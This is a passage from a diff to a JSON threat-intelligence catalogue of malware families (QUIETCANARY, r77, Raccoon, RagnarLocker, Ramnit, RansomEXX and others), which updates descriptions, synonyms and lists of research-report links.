"https://blog.vincss.net/2021/03/re021-qakbot-dangerous-malware-has-been-around-for-more-than-a-decade.html", + "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-OReilly-Jarvis-End-to-end-Botnet-Monitoring.pdf", + "https://twitter.com/ChouchWard/status/1405168040254316547", + "https://www.techtimes.com/articles/274190/20220412/qbot-botnet-deploys-malware-payloads-through-malicious-windows-installers.htm", + "https://www.varonis.com/blog/varonis-discovers-global-cyber-campaign-qbot/", + "https://www.securityartwork.es/2021/06/16/analisis-campana-emotet/", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://web.archive.org/web/20201207094648/https://go.group-ib.com/rs/689-LRE-818/images/Group-IB_Egregor_Ransomware.pdf", + "https://assets.sentinelone.com/sentinellabs22/sentinellabs-blackbasta", + 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"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" ], "synonyms": [ @@ -37740,6 +39754,23 @@ "uuid": "56d5ee92-845e-4b71-814c-2b0f0ca88523", "value": "QUICKMUTE" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.quietcanary", + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/", + "https://www.mandiant.com/resources/blog/turla-galaxy-opportunity" + ], + "synonyms": [ + "Kapushka", + "Tunnus" + ], + "type": [] + }, + "uuid": "2577fb8d-1511-49f7-9b62-7816137190c8", + "value": "QUIETCANARY" + }, { "description": "According to Microsoft, this is a heavily obfuscated .NET malware, primarily geared towards the exfiltration of data from the compromised host. But it can also receive and execute a remote payload from the operator.", "meta": { @@ -37781,6 +39812,22 @@ "uuid": "020950da-79e5-481b-9986-14ed1c97e04c", "value": "QvoidStealer" }, + { + "description": "According to the author, r77 is a ring 3 rootkit that hides everything: \r\n* Files, directories\r\n* Processes & CPU usage\r\n* Registry keys & values\r\n* Services\r\n* TCP & UDP connections\r\n* Junctions, named pipes, scheduled tasks", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.r77", + "https://github.com/bytecode77/r77-rootkit", + "https://twitter.com/malmoeb/status/1523179260273254407" + ], + "synonyms": [ + "r77 Rootkit" + ], + "type": [] + }, + "uuid": "f577050b-a4a3-4ebd-a9d9-77300f3435f5", + "value": "r77" + }, { "description": "", "meta": { @@ -37799,53 +39846,60 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon", - "https://blog.cyble.com/2021/10/21/raccoon-stealer-under-the-lens-a-deep-dive-analysis/", - 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"https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://asec.ahnlab.com/en/35981/", - "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", - "https://asec.ahnlab.com/ko/25837/", - "https://decoded.avast.io/vladimirmartyanov/raccoon-stealer-trash-panda-abuses-telegram", - "https://medium.com/s2wlab/deep-analysis-of-raccoon-stealer-5da8cbbc4949", "https://ke-la.com/information-stealers-a-new-landscape/", + "https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/", + "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", + "https://therecord.media/malware-group-leaks-millions-of-stolen-authentication-cookies/", + "https://www.bleepingcomputer.com/news/security/massive-campaign-uses-youtube-to-push-password-stealing-malware/", + "https://blog.cyble.com/2021/10/21/raccoon-stealer-under-the-lens-a-deep-dive-analysis/", + "https://blog.malwarebytes.com/social-engineering/2020/09/malvertising-campaigns-come-back-in-full-swing/", + "https://d01a.github.io/raccoon-stealer/", + "https://www.bleepingcomputer.com/news/security/new-meta-information-stealer-distributed-in-malspam-campaign/", + "https://infosecwriteups.com/raccoon-stealer-v2-malware-analysis-55cc33774ac8", + "https://decoded.avast.io/vladimirmartyanov/raccoon-stealer-trash-panda-abuses-telegram", + "https://medium.com/s2wlab/w1-feb-en-story-of-the-week-stealers-on-the-darkweb-49945a31601d", + "https://news.sophos.com/en-us/2021/08/03/trash-panda-as-a-service-raccoon-stealer-steals-cookies-cryptocoins-and-more/", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://www.secfreaks.gr/2019/12/in-depth-analysis-of-an-infostealer-raccoon.html", + "https://twitter.com/GroupIB_GIB/status/1570821174736850945", + "https://asec.ahnlab.com/ko/25837/", + "https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/", + "https://asec.ahnlab.com/en/35981/", + "https://lp.cyberark.com/rs/316-CZP-275/images/CyberArk-Labs-Racoon-Malware-wp.pdf", + "https://labs.k7computing.com/index.php/raccoon-back-with-new-claws/", + "https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1", + "https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore", + "https://any.run/cybersecurity-blog/raccoon-stealer-v2-malware-analysis/", + "https://www.zerofox.com/blog/raccoon-stealer-pivots-towards-self-protection/", + "https://www.spamhaus.com/custom-content/uploads/2021/04/Botnet-update-Q1-2021.pdf", + "https://blogs.blackberry.com/en/2021/09/threat-thursday-raccoon-infostealer", + "https://www.cybereason.com/blog/hunting-raccoon-stealer-the-new-masked-bandit-on-the-block", + "https://drive.google.com/file/d/13HEi9Px8V583sRkUG4Syawuw5qwU-W9Q/view", + "https://team-cymru.com/blog/2022/03/23/raccoon-stealer-an-insight-into-victim-gates/", + "https://medium.com/s2wlab/deep-analysis-of-raccoon-stealer-5da8cbbc4949", + "https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/", + "https://www.justice.gov/usao-wdtx/pr/newly-unsealed-indictment-charges-ukrainian-national-international-cybercrime-operation", + "https://news.sophos.com/en-us/2021/09/01/fake-pirated-software-sites-serve-up-malware-droppers-as-a-service/", "https://webcache.googleusercontent.com/search?q=cache:AvJw47-V_WwJ:https://ultrahacks.org/shop/product/raccoon-stealer-onion-panel/+&cd=1&hl=en&ct=clnk&gl=ch&client=firefox-b-d", - "https://news.sophos.com/en-us/2021/08/03/trash-panda-as-a-service-raccoon-stealer-steals-cookies-cryptocoins-and-more/" + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://www.zerofox.com/blog/brief-raccoon-stealer-version-2-0/", + "https://blog.talosintelligence.com/2021/08/raccoon-and-amadey-install-servhelper.html", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://www.bleepingcomputer.com/news/security/raccoon-stealer-malware-suspends-operations-due-to-war-in-ukraine/", + "https://www.group-ib.com/blog/fakesecurity_raccoon", + "https://www.socinvestigation.com/raccoon-infostealer-malware-returns-with-new-ttps-detection-response/", + "https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem", + "https://cloudsek.com/recordbreaker-the-resurgence-of-raccoon", + "https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d", + "https://www.riskiq.com/blog/labs/magecart-medialand/", + "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf", + "https://www.youtube.com/watch?v=5KHZSmBeMps", + "https://www.bitdefender.com/files/News/CaseStudies/study/289/Bitdefender-WhitePaper-Fallout.pdf", + "https://www.youtube.com/watch?v=1dbepxN2YD8", + "https://www.zscaler.com/blogs/security-research/raccoon-stealer-v2-latest-generation-raccoon-family" ], "synonyms": [ "Mohazo", @@ -37858,6 +39912,20 @@ "uuid": "027fb7d0-3e9b-4433-aee1-c266e165a5cc", "value": "Raccoon" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.racket", + "https://securelist.com/the-lazarus-group-deathnote-campaign/109490/", + "https://medium.com/s2wlab/analysis-of-lazarus-malware-abusing-non-activex-module-in-south-korea-7d52b9539c12" + ], + "synonyms": [], + "type": [] + }, + "uuid": "993db92e-0c84-4750-a58f-2b61d6cd6d67", + "value": "Racket Downloader" + }, { "description": "", "meta": { @@ -37901,51 +39969,52 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarlocker", - "https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", - "https://www.zdnet.com/article/capcom-quietly-discloses-cyberattack-impacting-email-file-servers/", - "https://blog.cyble.com/2022/01/20/deep-dive-into-ragnar-locker-ransomware-gang/", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://cyware.com/news/ragnar-locker-breached-52-organizations-and-counting-fbi-warns-0588d220/", - "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://seguranca-informatica.pt/ragnar-locker-malware-analysis/", - "https://securelist.com/targeted-ransomware-encrypting-data/99255/", - "https://securelist.com/modern-ransomware-groups-ttps/106824/", - "https://www.bleepingcomputer.com/news/security/fbi-ransomware-gang-breached-52-us-critical-infrastructure-orgs/", - "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", - "https://www.waterisac.org/system/files/articles/FLASH-MU-000140-MW.pdf", - "https://news.sophos.com/en-us/2021/02/03/mtr-casebook-uncovering-a-backdoor-implant-in-a-solarwinds-orion-server/", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "http://reversing.fun/reversing/2021/04/15/unpacking_ragnarlocker_via_emulation.html", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ragnarlocker-ransomware-threatens-to-release-confidential-information", - "https://blog.reversing.xyz/reversing/2021/04/15/unpacking_ragnarlocker_via_emulation.html", - "https://id-ransomware.blogspot.com/2020/02/ragnarlocker-ransomware.html", + "https://www.bleepingcomputer.com/news/security/fbi-ransomware-gang-breached-52-us-critical-infrastructure-orgs/", + "https://www.capcom.co.jp/ir/english/news/pdf/e210413.pdf", + "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", + "https://www.acronis.com/en-sg/articles/ragnar-locker/", + "https://seguranca-informatica.pt/ragnar-locker-malware-analysis/", + "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", + "https://www.bleepingcomputer.com/news/security/capcom-hit-by-ragnar-locker-ransomware-1tb-allegedly-stolen/", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/analysis-and-protections-for-ragnarlocker-ransomware.html", + "https://twitter.com/AltShiftPrtScn/status/1403707430765273095", + "https://blog.reversing.xyz/docs/posts/unpacking_ragnarlocker_via_emulation/", + "https://id-ransomware.blogspot.com/2020/02/ragnarlocker-ransomware.html", + "https://krebsonsecurity.com/2020/11/ransomware-group-turns-to-facebook-ads/", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://www.bleepingcomputer.com/news/security/japanese-game-dev-capcom-hit-by-cyberattack-business-impacted/", + "https://www.waterisac.org/system/files/articles/FLASH-MU-000140-MW.pdf", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ragnarlocker-ransomware-threatens-to-release-confidential-information", "https://blog.blazeinfosec.com/dissecting-ragnar-locker-the-case-of-edp/", "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://www.ic3.gov/Media/News/2022/220307.pdf", - "https://krebsonsecurity.com/2020/11/ransomware-group-turns-to-facebook-ads/", - "https://www.theregister.com/2022/03/09/fbi_says_ragnar_locker_ransomware/", - "https://www.acronis.com/en-sg/articles/ragnar-locker/", - "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", - "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", - "https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker", + "https://news.sophos.com/en-us/2021/02/03/mtr-casebook-uncovering-a-backdoor-implant-in-a-solarwinds-orion-server/", + "http://reversing.fun/reversing/2021/04/15/unpacking_ragnarlocker_via_emulation.html", "http://reversing.fun/posts/2021/04/15/unpacking_ragnarlocker_via_emulation.html", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://securelist.com/modern-ransomware-groups-ttps/106824/", + "https://blog.reversing.xyz/reversing/2021/04/15/unpacking_ragnarlocker_via_emulation.html", + "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", + "https://cyware.com/news/ragnar-locker-breached-52-organizations-and-counting-fbi-warns-0588d220/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", "https://www.bleepingcomputer.com/news/security/ragnarlocker-ransomware-hits-edp-energy-giant-asks-for-10m/", - "https://www.bleepingcomputer.com/news/security/capcom-hit-by-ragnar-locker-ransomware-1tb-allegedly-stolen/", - "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", - "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", + "https://www.ic3.gov/Media/News/2022/220307.pdf", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://www.theregister.com/2022/03/09/fbi_says_ragnar_locker_ransomware/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://twitter.com/AltShiftPrtScn/status/1403707430765273095", - "https://www.capcom.co.jp/ir/english/news/pdf/e210413.pdf", - "https://blog.reversing.xyz/docs/posts/unpacking_ragnarlocker_via_emulation/", - "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", - "https://www.bleepingcomputer.com/news/security/japanese-game-dev-capcom-hit-by-cyberattack-business-impacted/" + "https://www.zdnet.com/article/capcom-quietly-discloses-cyberattack-impacting-email-file-servers/", + "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", + "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", + "https://blog.cyble.com/2022/01/20/deep-dive-into-ragnar-locker-ransomware-gang/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/analysis-and-protections-for-ragnarlocker-ransomware.html", + "https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker", + "https://securelist.com/targeted-ransomware-encrypting-data/99255/" ], "synonyms": [], "type": [] @@ -37958,13 +40027,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarok", - "https://news.sophos.com/en-us/2020/05/21/asnarok2/", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", - "https://www.bleepingcomputer.com/news/security/ragnarok-ransomware-releases-master-decryptor-after-shutdown/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://github.com/k-vitali/Malware-Misc-RE/blob/master/2020-01-26-ragnarok-cfg-vk.notes.raw", "https://www.bleepingcomputer.com/news/security/ragnarok-ransomware-targets-citrix-adc-disables-windows-defender/", + "https://www.bleepingcomputer.com/news/security/ragnarok-ransomware-releases-master-decryptor-after-shutdown/", + "https://news.sophos.com/en-us/2020/05/21/asnarok2/", "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/" ], "synonyms": [], @@ -37978,27 +40047,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.raindrop", - "https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf", - "https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html", - "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", "https://www.youtube.com/watch?v=GfbxHy6xnbA", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", - "https://www.mandiant.com/resources/unc2452-merged-into-apt29", "https://file2.api.drift.com/download/drift-prod-file-uploads/417f%2F417f74ae8ddd24aa7c2b43a23093983f/Supply%20Chain%20Attacks_%20Cyber%20Criminals%20Target%20the%20Weakest%20Link.pdf", + "https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", + "https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html", + "https://www.mandiant.com/resources/unc2452-merged-into-apt29", "https://www.sans.org/webcasts/contrarian-view-solarwinds-119515" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "6c562458-7970-4d61-aded-1fe4a9002404", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "309f9be7-8824-4452-90b3-cef81fd10099", "value": "Raindrop" }, @@ -38020,10 +40080,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rambo", - "https://github.com/m0n0ph1/APT_CyberCriminal_Campagin_Collections-1/blob/master/2017/2017.02.15.deep-dive-dragonok-rambo-backdoor/Deep%20Dive%20on%20the%20DragonOK%20Rambo%20Backdoor%20_%20Morphick%20Cyber%20Security.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-overbrook", "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2017-02-15-the-rambo-backdoor.md", - "https://securitykitten.github.io/2017/02/15/the-rambo-backdoor.html" + "https://github.com/m0n0ph1/APT_CyberCriminal_Campagin_Collections-1/blob/master/2017/2017.02.15.deep-dive-dragonok-rambo-backdoor/Deep%20Dive%20on%20the%20DragonOK%20Rambo%20Backdoor%20_%20Morphick%20Cyber%20Security.pdf", + "https://securitykitten.github.io/2017/02/15/the-rambo-backdoor.html", + "https://www.secureworks.com/research/threat-profiles/bronze-overbrook" ], "synonyms": [ "brebsd" @@ -38046,34 +40106,34 @@ "value": "Ramdo" }, { - "description": "", + "description": "According to Check Point, Ramnit is primarily a banking trojan, meaning that its purpose is to steal login credentials for online banking, which cybercriminals can sell or use in future attacks. For this reason, Ramnit primarily targets individuals rather than focusing on particular industries.\r\n\r\nRamnit campaigns have been observed to target organizations in particular industries. For example, a 2019 campaign targeted financial organizations in the United Kingdom, Italy, and Canada.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ramnit", - "https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/", - "https://securityintelligence.com/posts/ramnit-banking-trojan-stealing-card-data/", - "https://www.mandiant.com/resources/pe-file-infecting-malware-ot", - "https://securelist.com/financial-cyberthreats-in-2020/101638/", - "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", - "http://contagiodump.blogspot.com/2012/01/blackhole-ramnit-samples-and-analysis.html", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://www.cert.pl/en/news/single/ramnit-in-depth-analysis/", - "https://malwarebreakdown.com/2017/08/23/the-seamless-campaign-isnt-losing-any-steam/", - "https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89", - "https://muha2xmad.github.io/unpacking/ramnit/", - "https://blogs.akamai.com/2019/02/ramnit-in-the-uk.html", - "http://www.vkremez.com/2018/02/deeper-dive-into-ramnit-banker-vnc-ifsb.html", - "https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest", - "https://www.youtube.com/watch?v=l6ZunH6YG0A", "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/w32-ramnit-analysis-15-en.pdf", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "https://research.checkpoint.com/ramnits-network-proxy-servers/", - "https://artik.blue/malware4", + "https://www.youtube.com/watch?v=l6ZunH6YG0A", "https://www.researchgate.net/profile/Lorenzo-De-Carli/publication/320250366_Botnet_protocol_inference_in_the_presence_of_encrypted_traffic/links/5fa9608792851cc286a08592/Botnet-protocol-inference-in-the-presence-of-encrypted-traffic.pdf?origin=publication_detail", + "http://contagiodump.blogspot.com/2012/01/blackhole-ramnit-samples-and-analysis.html", + "https://artik.blue/malware4", + "https://www.cert.pl/en/news/single/ramnit-in-depth-analysis/", + "https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest", + "https://redcanary.com/resources/webinars/deep-dive-process-injection/", + "https://muha2xmad.github.io/unpacking/ramnit/", + "https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89", + "https://research.checkpoint.com/ramnits-network-proxy-servers/", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://securityintelligence.com/posts/ramnit-banking-trojan-stealing-card-data/", + "https://malwarebreakdown.com/2017/08/23/the-seamless-campaign-isnt-losing-any-steam/", "http://www.nao-sec.org/2018/01/analyzing-ramnit-used-in-seamless.html", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://www.youtube.com/watch?v=N4f2e8Mygag", - "http://www.secureworks.com/research/threat-profiles/gold-fairfax", - "https://redcanary.com/resources/webinars/deep-dive-process-injection/" + "https://www.mandiant.com/resources/pe-file-infecting-malware-ot", + "http://www.vkremez.com/2018/02/deeper-dive-into-ramnit-banker-vnc-ifsb.html", + "https://blogs.akamai.com/2019/02/ramnit-in-the-uk.html", + "https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/", + "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", + "https://securelist.com/financial-cyberthreats-in-2020/101638/", + "http://www.secureworks.com/research/threat-profiles/gold-fairfax" ], "synonyms": [ "Nimnul" @@ -38088,12 +40148,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ramsay", - "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", - "https://www.antiy.cn/research/notice&report/research_report/20200522.html", - "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", "https://www.youtube.com/watch?v=SKIu4LqMrns", "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html", - "https://www.sentinelone.com/blog/why-on-device-detection-matters-new-ramsay-trojan-targets-air-gapped-networks/" + "https://cocomelonc.github.io/tutorial/2022/05/16/malware-pers-5.html", + "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", + "https://www.sentinelone.com/blog/why-on-device-detection-matters-new-ramsay-trojan-targets-air-gapped-networks/", + "https://www.antiy.cn/research/notice&report/research_report/20200522.html", + "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/" ], "synonyms": [], "type": [] @@ -38106,12 +40167,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ranbyus", + "https://bin.re/blog/the-dga-of-ranbyus/", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://www.welivesecurity.com/2012/06/05/smartcard-vulnerabilities-in-modern-banking-malware/", "http://www.xylibox.com/2013/01/trojanwin32spyranbyus.html", "https://www.welivesecurity.com/2012/12/19/win32spy-ranbyus-modifying-java-code-in-rbs/", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", - "https://www.johannesbader.ch/2015/05/the-dga-of-ranbyus/", - "https://www.welivesecurity.com/2012/06/05/smartcard-vulnerabilities-in-modern-banking-malware/", - "https://www.group-ib.ru/brochures/Group-IB-Corkow-Report-EN.pdf" + "https://www.group-ib.ru/brochures/Group-IB-Corkow-Report-EN.pdf", + "https://www.johannesbader.ch/2015/05/the-dga-of-ranbyus/" ], "synonyms": [], "type": [] @@ -38163,34 +40225,34 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomexx", - "https://www.bleepingcomputer.com/news/security/brazils-court-system-under-massive-ransomexx-ransomware-attack/", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3", - "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/", - "https://github.com/Bleeping/Ransom.exx", - "https://securelist.com/ransomexx-trojan-attacks-linux-systems/99279/", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://github.com/Bleeping/Ransom.exx", "https://www.bleepingcomputer.com/news/security/new-ransom-x-ransomware-used-in-texas-txdot-cyberattack/", + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4", "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/", "https://www.bleepingcomputer.com/news/security/ransomware-attack-hits-italys-lazio-region-affects-covid-19-site/", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", - "https://www.ic3.gov/Media/News/2021/211101.pdf", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://medium.com/proferosec-osm/ransomexx-fixing-corrupted-ransom-8e379bcaf701", + "https://www.youtube.com/watch?v=qxPXxWMI2i4", + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3", "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://www.cybereason.com/blog/cybereason-vs.-ransomexx-ransomware", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://securelist.com/ransomexx-trojan-attacks-linux-systems/99279/", "https://id-ransomware.blogspot.com/2020/06/ransomexx-ransomware.html", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/", + "https://www.cybereason.com/blog/cybereason-vs.-ransomexx-ransomware", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", "https://www.trendmicro.com/en_us/research/21/a/expanding-range-and-improving-speed-a-ransomexx-approach.html", "https://www.bleepingcomputer.com/news/security/ecuadors-state-run-cnt-telco-hit-by-ransomexx-ransomware/", "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://medium.com/proferosec-osm/ransomexx-fixing-corrupted-ransom-8e379bcaf701", + "https://www.ic3.gov/Media/News/2021/211101.pdf", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/", + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - 